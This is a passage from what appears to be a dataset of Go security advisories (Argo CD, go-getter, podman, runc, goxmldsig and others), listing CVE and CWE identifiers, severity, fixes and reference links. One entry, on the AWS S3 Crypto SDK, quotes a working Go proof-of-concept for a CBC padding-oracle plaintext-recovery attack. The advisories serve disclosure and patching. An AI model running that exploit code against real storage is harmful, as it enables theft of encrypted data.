See the [Argo CD RBAC documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#rbac-resources-and-actions) for an explanation of the privileges available in Argo CD.
##### Events exploit
A related exploit is possible for a user with `get` access to an Application **even if they do not have access to the Application's source git or Helm repository or `sync` and `override` access to the Application**. The user can access any Event in the Application's destination cluster if they know the involved object's name, UID, and namespace.
#### Impacts for versions starting with v0.8.0
The same bug exists starting with v0.8.0, but only the following exploits were possible before v1.0.0:
* The `delete` exploit (#⁠2 above).
* The logs exploit (#⁠4 above).
* The Events exploit described above.
#### Impacts for versions starting with v0.5.0
The same bug exists starting with v0.5.0 (when RBAC was implemented), but only the Events exploit described above was possible before v0.8.0.
### Patches
A patch for this vulnerability has been released in the following Argo CD versions:
* v2.3.2
* v2.2.8
* v2.1.14
**Versions 2.0.x and earlier users:** See the [changelog](https://github.com/argoproj/argo-cd/blob/master/CHANGELOG.md) for links to upgrade instructions for your version. It is imperative to upgrade quickly, but some limited mitigations are described in the next section.
**argo-helm chart users:** Argo CD users deploying v2.3.x with [argo-helm](https://github.com/argoproj/argo-helm) can upgrade the chart to version 4.2.2. Argo CD 2.2 and 2.1 users can set the `global.image.tag` value to the latest in your current release series (`v2.2.8`, or `v2.1.14`). Since charts for the 2.2 and 2.1 series are no longer maintained, you will need to either leave the value override in place or upgrade to the 4.x chart series (and therefore to Argo CD 2.3).
### Workarounds
The only certain way to avoid the vulnerability is to upgrade.
#### Mitigations
* To avoid privilege escalation:
* Limit who has push access to Application source repositories or `sync` + `override` access to Applications.
* Limit which repositories are available in [projects](https://argo-cd.readthedocs.io/en/stable/user-guide/projects/) where users have `update` access to Applications.
* To avoid unauthorized resource inspection/tampering:
* Limit who has `delete`, `get`, or `action` access to Applications.
These mitigations can help limit potential damage, but they are _not_ a substitute for upgrading. It is necessary to upgrade immediately.
### References
* [Argo CD RBAC configuration documentation](https://argo-cd.readthedocs.io/en/stable/operator-manual/rbac/#)
### For more information
Open an issue in [the Argo CD issue tracker](https://github.com/argoproj/argo-cd/issues) or [discussions](https://github.com/argoproj/argo-cd/discussions)
Join us on [Slack](https://argoproj.github.io/community/join-slack) in channel #argo-cd
| {'CVE-2022-24768'} | 2022-03-24T00:18:54Z | 2022-03-24T00:18:54Z | CRITICAL | null | {'CWE-200', 'CWE-269'} | {'https://nvd.nist.gov/vuln/detail/CVE-2022-24768', 'https://github.com/argoproj/argo-cd/commit/af03b291d4b7e9d3ce9a6580ae9c8141af0e05cf', 'https://github.com/argoproj/argo-cd', 'https://github.com/argoproj/argo-cd/security/advisories/GHSA-2f5v-8r3f-8pww', 'https://github.com/argoproj/argo-cd/releases/tag/v2.3.2', 'https://github.com/argoproj/argo-cd/releases/tag/v2.1.14', 'https://github.com/argoproj/argo-cd/releases/tag/v2.2.8'} | null | {'https://github.com/argoproj/argo-cd/commit/af03b291d4b7e9d3ce9a6580ae9c8141af0e05cf'} | {'https://github.com/argoproj/argo-cd/commit/af03b291d4b7e9d3ce9a6580ae9c8141af0e05cf'} |
Go | GHSA-27rq-4943-qcwp | Insertion of Sensitive Information into Log File in Hashicorp go-getter | The Hashicorp go-getter library before 1.5.11 could write SSH credentials into its logfile, exposing sensitive credentials to local users able to read the logfile. | {'CVE-2022-29810'} | 2022-05-03T20:19:26Z | 2022-04-28T00:00:35Z | MODERATE | null | {'CWE-532'} | {'https://github.com/hashicorp/go-getter', 'https://github.com/hashicorp/go-getter/pull/348', 'https://nvd.nist.gov/vuln/detail/CVE-2022-29810', 'https://github.com/hashicorp/go-getter/releases/tag/v1.5.11', 'https://github.com/hashicorp/go-getter/commit/36b68b2f68a3ed10ee7ecbb0cb9f6b1dc5da49cc'} | null | {'https://github.com/hashicorp/go-getter/commit/36b68b2f68a3ed10ee7ecbb0cb9f6b1dc5da49cc'} | {'https://github.com/hashicorp/go-getter/commit/36b68b2f68a3ed10ee7ecbb0cb9f6b1dc5da49cc'} |
Go | GHSA-9h63-7qf6-mv6r | Improper Authorization in github.com/containers/libpod | A flaw was found in podman before 1.7.0. File permissions for non-root users running in a privileged container are not correctly checked. This flaw can be abused by a low-privileged user inside the container to access any other file in the container, even if owned by the root user inside the container. It does not allow to directly escape the container, though being a privileged container means that a lot of security features are disabled when running the container. The highest threat from this vulnerability is to data confidentiality and integrity as well as system availability. | {'CVE-2021-20188'} | 2021-05-07T22:01:02Z | 2021-05-18T18:33:12Z | HIGH | null | {'CWE-863'} | {'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://nvd.nist.gov/vuln/detail/CVE-2021-20188', 'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24', 'https://bugzilla.redhat.com/show_bug.cgi?id=1915734', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4'} | null | {'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4', 'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24'} | {'https://github.com/containers/podman/commit/2c7b579fe7328dc6db48bdaf60d0ddd9136b1e24', 'https://github.com/containers/podman/commit/c8bd4746151e6ae37d49c4688f2f64e03db429fc', 'https://github.com/containers/podman/commit/dcf3c742b1ac4d641d66810113f3d17441a412f4'} |
Go | GO-2020-0018 | null | UUIDs generated using [`NewV1`] and [`NewV4`] may not read the expected
number of random bytes. These UUIDs may contain a significantly smaller
amount of entropy than expected, possibly leading to collisions.
| null | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/satori/go.uuid/issues/73', 'https://github.com/satori/go.uuid/commit/d91630c8510268e75203009fe7daf2b8e1d60c45', 'https://github.com/satori/go.uuid/pull/75'} | null | {'https://github.com/satori/go.uuid/commit/d91630c8510268e75203009fe7daf2b8e1d60c45'} | {'https://github.com/satori/go.uuid/commit/d91630c8510268e75203009fe7daf2b8e1d60c45'} |
Go | GHSA-wxj3-qwv4-cvfm | Privilege Escalation in Docker | Docker 1.0.0 uses world-readable and world-writable permissions on the management socket, which allows local users to gain privileges via unspecified vectors. | {'CVE-2014-3499'} | 2021-05-20T21:11:35Z | 2022-02-15T00:40:44Z | HIGH | null | {'CWE-269'} | {'https://nvd.nist.gov/vuln/detail/CVE-2014-3499', 'https://web.nvd.nist.gov/view/vuln/detail?vulnId=CVE-2014-3499', 'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5', 'https://bugzilla.redhat.com/show_bug.cgi?id=1111687', 'https://rhn.redhat.com/errata/RHSA-2014-0820.html'} | null | {'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5'} | {'https://github.com/docker/docker/commit/707ef9618b3b26a0534a0af732a22f159eccfaa5'} |
Go | GO-2021-0053 | null | Due to improper bounds checking, maliciously crafted input to generated
Unmarshal methods can cause an out-of-bounds panic. If parsing messages
from untrusted parties, this may be used as a denial of service vector.
| {'CVE-2021-3121'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc'} | null | {'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc'} | {'https://github.com/gogo/protobuf/commit/b03c65ea87cdc3521ede29f62fe3ce239267c1bc'} |
Go | GHSA-86r9-39j9-99wp | Elliptic Curve Key Disclosure in go-jose | go-jose before 1.0.4 suffers from an invalid curve attack for the ECDH-ES algorithm. When deriving a shared key using ECDH-ES for an encrypted message, go-jose neglected to check that the received public key on a message is on the same curve as the static private key of the receiver, thus making it vulnerable to an invalid curve attack. | {'CVE-2016-9121'} | 2021-05-20T16:54:50Z | 2021-06-23T17:17:52Z | CRITICAL | null | {'CWE-326'} | {'https://nvd.nist.gov/vuln/detail/CVE-2016-9121', 'https://www.openwall.com/lists/oss-security/2016/11/03/1', 'https://hackerone.com/reports/164590', 'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | null | {'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} | {'https://github.com/square/go-jose/commit/c7581939a3656bb65e89d64da0a52364a33d2507'} |
Go | GHSA-mc8v-mgrf-8f4m | Clarify Content-Type handling | ### Impact
In the OCI Distribution Specification version 1.0.0 and prior, the Content-Type header alone was used to determine the type of document during push and pull operations. Documents that contain both “manifests” and “layers” fields could be interpreted as either a manifest or an index in the absence of an accompanying Content-Type header. If a Content-Type header changed between two pulls of the same digest, a client may interpret the resulting content differently.
### Patches
The OCI Distribution Specification will be updated to require that a `mediaType` value present in a manifest or index match the Content-Type header used during the push and pull operations.
### Workarounds
Clients pulling from a registry may distrust the Content-Type header and reject an ambiguous document that contains both “manifests” and “layers” fields or “manifests” and “config” fields.
### References
https://github.com/opencontainers/image-spec/security/advisories/GHSA-77vh-xpmg-72qh
### For more information
If you have any questions or comments about this advisory:
* Open an issue in https://github.com/opencontainers/distribution-spec/
* Email us at security@opencontainers.org
| {'CVE-2021-41190'} | 2021-12-13T13:12:02Z | 2021-11-18T16:13:08Z | LOW | null | {'CWE-843'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/A2RRFNTMFYKOTRKD37F5ANMCIO3GGJML/', 'https://nvd.nist.gov/vuln/detail/CVE-2021-41190', 'https://github.com/opencontainers/distribution-spec/security/advisories/GHSA-mc8v-mgrf-8f4m', 'https://github.com/opencontainers/distribution-spec', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/RZTO6N55WHKHIZI4IMLY2QFBPMVTAERM/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/3TUZNDAH2B26VPBK342UC3BHZNLBUXGX/', 'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/4334HT7AZPLWNYHW4ARU6JBUF3VZJPZN/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/T4OJ764CKKCWCVONHD4YXTGR7HZ7LRUV/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/DX63GRWFEI5RVMYV6XLMCG4OHPWZML27/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/SQBCYJUIM5GVCMFUPRWKRZNXMMI5EFA4/', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/YIGVQWOA5XXCQXEOOKZX4CDAGLBDRPRX/', 'http://www.openwall.com/lists/oss-security/2021/11/19/10'} | null | {'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923'} | {'https://github.com/opencontainers/distribution-spec/commit/ac28cac0557bcd3084714ab09f9f2356fe504923'} |
Go | GHSA-4w5x-x539-ppf5 | Incorrect handling of credential expiry by NATS Server |
## Problem Description
NATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.
The NATS accounts system has expiration timestamps on credentials; the <https://github.com/nats-io/jwt> library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.
A new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this. The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.
The CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.
## Affected versions
#### JWT library
* all versions prior to 1.1.0
* fixed after nats-io/jwt PR 103 landed (2020-10-06)
#### NATS Server
* Version 2 prior to 2.1.9
+ 2.0.0 through and including 2.1.8 are vulnerable.
* fixed with nats-io/nats-server PRs 1632, 1635, 1645
## Impact
Time-based credential expiry did not work.
## Workaround
Have credentials which only expire after fixes can be deployed.
## Solution
Upgrade the JWT dependency in any application using it.
Upgrade the NATS server if using NATS Accounts. | {'CVE-2020-26892'} | 2022-02-11T23:42:20Z | 2022-02-11T23:42:20Z | HIGH | null | {'CWE-798'} | {'https://nvd.nist.gov/vuln/detail/CVE-2020-26892', 'https://github.com/nats-io/jwt/security/advisories/GHSA-4w5x-x539-ppf5', 'https://github.com/nats-io/nats-server/commits/master', 'https://www.openwall.com/lists/oss-security/2020/11/02/2', 'https://advisories.nats.io/CVE/CVE-2020-26892.txt', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/VT67XCLIIBYRT762SVFBYFFTQFVSM3SI/', 'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f'} | null | {'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f'} | {'https://github.com/nats-io/nats-server/commit/1e08b67f08e18cd844dce833a265aaa72500a12f'} |
Go | GHSA-m358-g4rp-533r | SQL Injection in Casdoor | The query API in Casdoor before 1.13.1 has a SQL injection vulnerability related to the field and value parameters, as demonstrated by api/get-organizations. | {'CVE-2022-24124'} | 2022-02-07T21:15:30Z | 2022-02-01T00:49:39Z | HIGH | null | {'CWE-89'} | {'https://github.com/casdoor/casdoor', 'https://github.com/casdoor/casdoor/pull/442', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24124', 'https://github.com/casdoor/casdoor/compare/v1.13.0...v1.13.1', 'https://github.com/casdoor/casdoor/issues/439', 'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c', 'http://packetstormsecurity.com/files/166163/Casdoor-1.13.0-SQL-Injection.html'} | null | {'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c'} | {'https://github.com/casdoor/casdoor/commit/5ec0c7a89005819960d8fe07f5ddda13d1371b8c'} |
Go | GHSA-xhg2-rvm8-w2jh | Cross-site Request Forgery (CSRF) | Rancher 2 through 2.2.4 is vulnerable to a Cross-Site Websocket Hijacking attack that allows an exploiter to gain access to clusters managed by Rancher. The attack requires a victim to be logged into a Rancher server, and then to access a third-party site hosted by the exploiter. Once that is accomplished, the exploiter is able to execute commands against the cluster's Kubernetes API with the permissions and identity of the victim. | {'CVE-2019-13209'} | 2022-04-25T20:20:18Z | 2021-05-18T15:42:40Z | HIGH | null | {'CWE-352', 'CWE-79'} | {'https://forums.rancher.com/t/rancher-release-v2-2-5-addresses-rancher-cve-2019-13209/14801', 'https://github.com/rancher/rancher', 'https://nvd.nist.gov/vuln/detail/CVE-2019-13209', 'https://forums.rancher.com/c/announcements', 'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088'} | null | {'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088'} | {'https://github.com/rancher/rancher/commit/0ddffe484adccb9e37d9432e8e625d8ebbfb0088'} |
Go | GO-2021-0100 | null | Due to a goroutine deadlock, using github.com/containers/storage/pkg/archive.DecompressStream
on a xz archive returns a reader which will hang indefinitely when Close is called. An attacker
can use this to cause denial of service if they are able to cause the caller to attempt to
decompress an archive they control.
| {'CVE-2021-20291'} | 2021-07-28T12:00:00Z | 2021-07-28T12:00:00Z | null | null | null | {'https://github.com/containers/storage/pull/860', 'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1', 'https://github.com/advisories/GHSA-7qw8-847f-pggm', 'https://bugzilla.redhat.com/show_bug.cgi?id=1939485'} | null | {'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1'} | {'https://github.com/containers/storage/commit/306fcabc964470e4b3b87a43a8f6b7d698209ee1'} |
Go | GHSA-f5pg-7wfw-84q9 | CBC padding oracle issue in AWS S3 Crypto SDK for golang | ### Summary
The golang AWS S3 Crypto SDK is impacted by an issue that can result in loss of confidentiality and message forgery. The attack requires write access to the bucket in question, and that the attacker has access to an endpoint that reveals decryption failures (without revealing the plaintext) and that when encrypting the CBC option was chosen as content cipher.
### Risk/Severity
The vulnerability pose insider risks/privilege escalation risks, circumventing KMS controls for stored data.
### Impact
This advisory describes the plaintext revealing vulnerabilities in the golang AWS S3 Crypto SDK, with a similar issue in the non "strict" versions of C++ and Java S3 Crypto SDKs being present as well.
V1 prior to 1.34.0 of the S3 crypto SDK, allows users to encrypt files with AES-CBC, without computing a MAC on the data. Note that there is an alternative option of using AES-GCM, which is used in the examples of the documentation and not affected by this vulnerability, but by CVE-2020-8912.
This exposes a padding oracle vulnerability: If the attacker has write access to the S3 bucket and can observe whether or not an endpoint with access to the key can decrypt a file (without observing the file contents that the endpoint learns in the process), they can reconstruct the plaintext with (on average) `128*length(plaintext)` queries to the endpoint, by exploiting CBC's ability to manipulate the bytes of the next block and PKCS5 padding errors.
This issue is fixed in V2 of the API, by disabling encryption with CBC mode for new files. Old files, if they have been encrypted with CBC mode, remain vulnerable until they are reencrypted with AES-GCM.
### Mitigation
Using the version 2 of the S3 crypto SDK will not produce vulnerable files anymore. Old files remain vulnerable to this problem if they were originally encrypted with CBC mode.
### Proof of concept
A [Proof of concept](https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc) is available in a separate github repository.
This particular issue is described in [padding_oracle_exploit.go](https://github.com/sophieschmieg/exploits/blob/master/aws_s3_crypto_poc/exploit/padding_oracle_exploit.go):
```golang
func PaddingOracleExploit(bucket string, key string, input *OnlineAttackInput) (string, error) {
data, header, err := input.S3Mock.GetObjectDirect(bucket, key)
if alg := header.Get("X-Amz-Meta-X-Amz-Cek-Alg"); alg != "AES/CBC/PKCS5Padding" {
return "", fmt.Errorf("Algorithm is %q, not CBC!", alg)
}
length, err := strconv.Atoi(header.Get("X-Amz-Meta-X-Amz-Unencrypted-Content-Length"))
padding := byte(len(data) - length)
plaintext := make([]byte, length)
for i := length - 1; i >= 0; i-- {
newLength := 16 * (i/16 + 1)
dataCopy := make([]byte, newLength)
headerCopy := header.Clone()
copy(dataCopy, data)
// Set Padding
newPadding := byte(newLength - i)
for j := i + 1; j < newLength; j++ {
var oldValue byte
if j >= length {
oldValue = padding
} else {
oldValue = plaintext[j]
}
dataCopy, headerCopy, err = xorData(oldValue^newPadding, j, dataCopy, headerCopy)
if err != nil {
return "", err
}
}
// Guess
for c := 0; c < 256; c++ {
dataCopy, headerCopy, err := xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
input.S3Mock.PutObjectDirect(bucket, key+"guess", dataCopy, headerCopy)
if input.Oracle(bucket, key+"guess") {
plaintext[i] = byte(c)
break
}
dataCopy, headerCopy, err = xorData(byte(c)^newPadding, i, dataCopy, headerCopy)
}
}
return string(plaintext), nil
}
``` | {'CVE-2020-8911'} | 2021-05-24T17:57:15Z | 2022-02-11T23:26:26Z | MODERATE | null | {'CWE-327'} | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/pull/3403', 'https://github.com/google/security-research/security/advisories/GHSA-f5pg-7wfw-84q9', 'https://github.com/sophieschmieg/exploits/tree/master/aws_s3_crypto_poc', 'https://aws.amazon.com/blogs/developer/updates-to-the-amazon-s3-encryption-client/?s=09', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4', 'https://nvd.nist.gov/vuln/detail/CVE-2020-8911', 'https://bugzilla.redhat.com/show_bug.cgi?id=1869800'} | null | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} | {'https://github.com/aws/aws-sdk-go/commit/1e84382fa1c0086362b5a4b68e068d4f8518d40e', 'https://github.com/aws/aws-sdk-go/commit/ae9b9fd92af132cfd8d879809d8611825ba135f4'} |
Go | GHSA-5hjh-c26m-xw8w | ProxyScotch is vulnerable to a server-side Request Forgery (SSRF) | ProxyScotch is a simple proxy server created for hoppscotch.io. The package github.com/hoppscotch/proxyscotch before 1.0.0 are vulnerable to Server-side Request Forgery (SSRF) when interceptor mode is set to proxy. It occurs when an HTTP request is made by a backend server to an untrusted URL submitted by a user. It leads to a leakage of sensitive information from the server. | {'CVE-2022-25850'} | 2022-05-04T20:14:02Z | 2022-05-03T00:00:44Z | HIGH | null | {'CWE-918'} | {'https://snyk.io/vuln/SNYK-GOLANG-GITHUBCOMHOPPSCOTCHPROXYSCOTCH-2435228', 'https://nvd.nist.gov/vuln/detail/CVE-2022-25850', 'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7', 'https://github.com/hoppscotch/proxyscotch'} | null | {'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7'} | {'https://github.com/hoppscotch/proxyscotch/commit/de67380f62f907f201d75854b76024ba4885fab7'} |
Go | GHSA-v95c-p5hm-xq8f | Overflow in netlink bytemsg length field allows attacker to override netlink-based container configuration | ### Impact
In runc, [netlink](https://www.man7.org/linux/man-pages/man7/netlink.7.html) is used internally as a serialization system for specifying the relevant container configuration to the C portion of our code (responsible for the based namespace setup of containers). In all versions of runc prior to 1.0.3, the encoder did not handle the possibility of an integer overflow in the 16-bit length field for the byte array attribute type, meaning that a large enough malicious byte array attribute could result in the length overflowing and the attribute contents being parsed as netlink messages for container configuration.
This vulnerability requires the attacker to have some control over the configuration of the container and would allow the attacker to bypass the namespace restrictions of the container by simply adding their own netlink payload which disables all namespaces.
Prior to 9c444070ec7bb83995dbc0185da68284da71c554, in practice it was fairly difficult to specify an arbitrary-length netlink message with most container runtimes. The only user-controlled byte array was the namespace paths attributes which can be specified in runc's `config.json`, but as far as we can tell no container runtime gives raw access to that configuration setting -- and having raw access to that setting **would allow the attacker to disable namespace protections entirely anyway** (setting them to `/proc/1/ns/...` for instance). In addition, each namespace path is limited to 4096 bytes (with only 7 namespaces supported by runc at the moment) meaning that even with custom namespace paths it appears an attacker still cannot shove enough bytes into the netlink bytemsg in order to overflow the uint16 counter.
However, out of an abundance of caution (given how old this bug is) we decided to treat it as a potentially exploitable vulnerability with a low severity. After 9c444070ec7bb83995dbc0185da68284da71c554 (which was not present in any release of runc prior to the discovery of this bug), all mount paths are included as a giant netlink message which means that this bug becomes significantly more exploitable in more reasonable threat scenarios.
The main users impacted are those who allow untrusted images with untrusted configurations to run on their machines (such as with shared cloud infrastructure), though as mentioned above it appears this bug was not practically exploitable on any released version of runc to date.
### Patches
The patch for this is d72d057ba794164c3cce9451a00b72a78b25e1ae and runc 1.0.3 was released with this bug fixed.
### Workarounds
To the extent this is exploitable, disallowing untrusted namespace paths in container configuration should eliminate all practical ways of exploiting this bug. It should be noted that untrusted namespace paths would allow the attacker to disable namespace protections entirely even in the absence of this bug.
### References
* commit d72d057ba794 ("runc init: avoid netlink message length overflows")
* https://bugs.chromium.org/p/project-zero/issues/detail?id=2241
### Credits
Thanks to Felix Wilhelm from Google Project Zero for discovering and reporting this vulnerability. In particular, the fact they found this vulnerability so quickly, before we made a 1.1 release of runc (which would've been vulnerable) was quite impressive.
### For more information
If you have any questions or comments about this advisory:
* Open an issue in [our repo](https://github.com/opencontainers/runc)
| {'CVE-2021-43784'} | 2021-12-06T22:09:36Z | 2021-12-07T21:22:39Z | MODERATE | null | {'CWE-190'} | {'https://nvd.nist.gov/vuln/detail/CVE-2021-43784', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed', 'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae', 'https://github.com/opencontainers/runc/security/advisories/GHSA-v95c-p5hm-xq8f', 'https://github.com/opencontainers/runc', 'https://lists.debian.org/debian-lts-announce/2021/12/msg00005.html', 'https://bugs.chromium.org/p/project-zero/issues/detail?id=2241', 'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554'} | null | {'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae', 'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed'} | {'https://github.com/opencontainers/runc/commit/9c444070ec7bb83995dbc0185da68284da71c554', 'https://github.com/opencontainers/runc/commit/f50369af4b571e358f20b139eea52d612eb55eed', 'https://github.com/opencontainers/runc/commit/d72d057ba794164c3cce9451a00b72a78b25e1ae'} |
Go | GO-2021-0065 | null | Authorization tokens may be inappropriately logged if the verbosity
level is set to a debug level.
| {'CVE-2019-11250'} | 2021-04-14T12:00:00Z | 2021-04-14T12:00:00Z | null | null | null | {'https://github.com/kubernetes/kubernetes/issues/81114', 'https://github.com/kubernetes/kubernetes/pull/81330', 'https://github.com/kubernetes/kubernetes/commit/4441f1d9c3e94d9a3d93b4f184a591cab02a5245'} | null | {'https://github.com/kubernetes/kubernetes/commit/4441f1d9c3e94d9a3d93b4f184a591cab02a5245'} | {'https://github.com/kubernetes/kubernetes/commit/4441f1d9c3e94d9a3d93b4f184a591cab02a5245'} |
Go | GHSA-q547-gmf8-8jr7 | Signature Validation Bypass in goxmldsig | ### Impact
With a carefully crafted XML file, an attacker can completely bypass signature validation and pass off an altered file as a signed one.
### Patches
A patch is available, all users of goxmldsig should upgrade to v1.1.0.
### For more information
If you have any questions or comments about this advisory open an issue at https://github.com/russellhaering/goxmldsig | {'CVE-2020-15216'} | 2021-05-24T12:54:31Z | 2021-05-24T16:57:32Z | MODERATE | null | {'CWE-347'} | {'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/ZECBFD4M4PHBMBOCMSQ537NOU37QOVWP/', 'https://pkg.go.dev/github.com/russellhaering/goxmldsig?tab=overview', 'https://nvd.nist.gov/vuln/detail/CVE-2020-15216', 'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64', 'https://lists.fedoraproject.org/archives/list/package-announce@lists.fedoraproject.org/message/GUH33FPUXED3FHYL25BJOQPRKFGPOMS2/', 'https://github.com/russellhaering/goxmldsig/security/advisories/GHSA-q547-gmf8-8jr7'} | null | {'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64'} | {'https://github.com/russellhaering/goxmldsig/commit/f6188febf0c29d7ffe26a0436212b19cb9615e64'} |
Go | GHSA-77gc-fj98-665h | Signature Validation Bypass | Go JOSE before 1.1.0 suffers from multiple signatures exploitation. The go-jose library supports messages with multiple signatures. However, when validating a signed message the API did not indicate which signature was valid, which could potentially lead to confusion. For example, users of the library might mistakenly read protected header values from an attached signature that was different from the one originally validated. | {'CVE-2016-9122'} | 2021-05-12T18:06:40Z | 2021-05-18T19:15:09Z | HIGH | null | {'CWE-284'} | {'https://hackerone.com/reports/169629', 'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6', 'https://nvd.nist.gov/vuln/detail/CVE-2016-9122', 'https://github.com/square/go-jose/pull/111', 'http://www.openwall.com/lists/oss-security/2016/11/03/1'} | null | {'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6'} | {'https://github.com/square/go-jose/commit/2c5656adca9909843c4ff50acf1d2cf8f32da7e6'} |
Go | GHSA-ffhg-7mh4-33c4 | Improper Verification of Cryptographic Signature in golang.org/x/crypto | golang.org/x/crypto before v0.0.0-20200220183623-bac4c82f6975 for Go allows a panic during signature verification in the golang.org/x/crypto/ssh package. A client can attack an SSH server that accepts public keys. Also, a server can attack any SSH client. | {'CVE-2020-9283'} | 2022-01-04T19:49:26Z | 2021-05-18T15:29:31Z | MODERATE | null | {'CWE-347'} | {'https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236', 'http://packetstormsecurity.com/files/156480/Go-SSH-0.0.2-Denial-Of-Service.html', 'https://lists.debian.org/debian-lts-announce/2020/11/msg00027.html', 'https://nvd.nist.gov/vuln/detail/CVE-2020-9283', 'https://github.com/golang/crypto', 'https://lists.debian.org/debian-lts-announce/2020/11/msg00031.html', 'https://www.exploit-db.com/exploits/48121', 'https://lists.debian.org/debian-lts-announce/2020/10/msg00014.html', 'https://groups.google.com/forum/#!topic/golang-announce/3L45YRc91SY'} | null | {'https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236'} | {'https://github.com/golang/crypto/commit/bac4c82f69751a6dd76e702d54b3ceb88adab236'} |
Go | GHSA-jh63-28gx-7p26 | Command Injection in CasaOS | CasaOS before v0.2.7 was discovered to contain a command injection vulnerability via the component leave or join zerotier api. | {'CVE-2022-24193'} | 2022-03-15T19:43:28Z | 2022-03-11T00:02:17Z | CRITICAL | null | {'CWE-78'} | {'https://github.com/IceWhaleTech/CasaOS/commit/d060968b7ab08e7f8cbfe7ca9ccdfa47afe9bb06', 'https://github.com/IceWhaleTech/CasaOS', 'https://nvd.nist.gov/vuln/detail/CVE-2022-24193', 'https://www.star123.top/2022/01/08/A-vulnerability-in-CasaOS/#more', 'https://github.com/IceWhaleTech/CasaOS/issues/84', 'https://www.star123.top/2022/01/08/A-vulnerability-in-CasaOS/'} | null | {'https://github.com/IceWhaleTech/CasaOS/commit/d060968b7ab08e7f8cbfe7ca9ccdfa47afe9bb06'} | {'https://github.com/IceWhaleTech/CasaOS/commit/d060968b7ab08e7f8cbfe7ca9ccdfa47afe9bb06'} |
